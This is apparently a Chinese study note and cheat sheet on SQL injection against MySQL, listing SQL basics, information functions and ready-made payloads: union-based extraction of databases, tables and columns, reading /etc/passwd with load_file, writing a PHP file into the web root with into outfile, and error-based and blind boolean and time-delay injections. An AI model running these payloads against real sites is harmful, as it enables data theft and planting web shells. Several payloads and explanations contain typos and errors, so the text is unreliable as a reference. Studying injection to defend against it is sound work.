sql注入典型知识点
常见语句
1. SQL 注释语句 ("–“与”/…/")
(1)–:表示单行注释
(2)/…/:用于多行(块)注释
2.SELECT 查询语句
SELECT 列名称 FROM 表名称
SELECT * FROM 表名称
3.UNION 操作符(合并语句的作用)
如
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
4.concat语句(即连接函数)
①concat()
CONCAT 函数用于将两个字符串连接为一个字符串
如
SELECT CONCAT(id, ‘,’, name) AS con FROM info LIMIT 1;//即将id与name从info中报出
②concat_ws()
即多了一个分隔符参数
SELECT CONCAT_WS('_',id,name) AS con_ws FROM info LIMIT 1;//即将id,name以_相连使用
③group_concat()
即将一个组的参数均爆出的含义
5.order by
ORDER BY 用于排序的作用(默认为升序)
但sql注入大部分用于探测参数有多少
6.if语句
IF(expr1,expr2,expr3)
expr1是判断条件,expr2和expr3是符合expr1的自定义的返回结果
典型用法
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0(S)
如果当前用户不是"sa"或者"dbo",就会抛出一个divide by zero error。
7.slepp()语句
典型用于盲注中
sleep(100)即延时多少的作用
8.count语句
①COUNT(column_name) 返回指定列的值的数目(NULL 不计入)
SELECT COUNT(column_name) FROM table_name//即返回table_name的字段数目
②COUNT(*) 函数返回表中的记录数
SELECT COUNT(column_name) FROM table_name//即返回table_name的所有字段数
9.extract语句
EXTRACT() 函数用于返回日期/时间的单独部分,比如年、月、日、小时、分钟等等。
EXTRACT(unit FROM date)//unit为选择的参数可以为day,week,year等
10.length()
返回字符串的长度
select length("123456") #返回6
常见函数
1.信息函数
database(),用于获取当前所使用的数据库信息
version():返回数据库的版本,等价于@@version
user():返回当前的用户,等价如current_user参数
@@datadir,获取数据库的存储位置。
select user(); #root@localhost
select current_user; #root@localhost
select @@datadir; #D:\xampp\mysql\data\
select @@baserdir; //即数据库的安装路径
2.功能函数
①读写函数
load_file():可以理解为读写文件
select * from users union select 1,load_file('/etc/passwd'),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16进制绕过单引号限制
into outfile:写入文件(前提是具有写入权限)
select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php';
select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';
②截取函数
subtring(),substr():用于截断字符串。用法为:substr(str,pos,length),注意pos是从1开始的。
select substr((select database()),1,1);
常见注入方式使用方法
基础注入
1' order by num # 确定字段长度
1' union select 1,2,3 # 确定字段长度
-1' union select 1,2,3 # 判断页面中显示的字段
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #显示mysql中所有的数据库
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1 在注释符无法使用的情况下
进阶注入
双重sql查选
select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #这种sql语句的写法,常用于sql的盲注。得到数据库的信息
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到数据库的表的信息
#利用姿势如下:
1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+
bool盲注(根据sql语句执行返回值是True或False对应的页面内容来得到信息)
1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90
time盲注(根据返回长度判断sleep是否执行进行获取)
1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+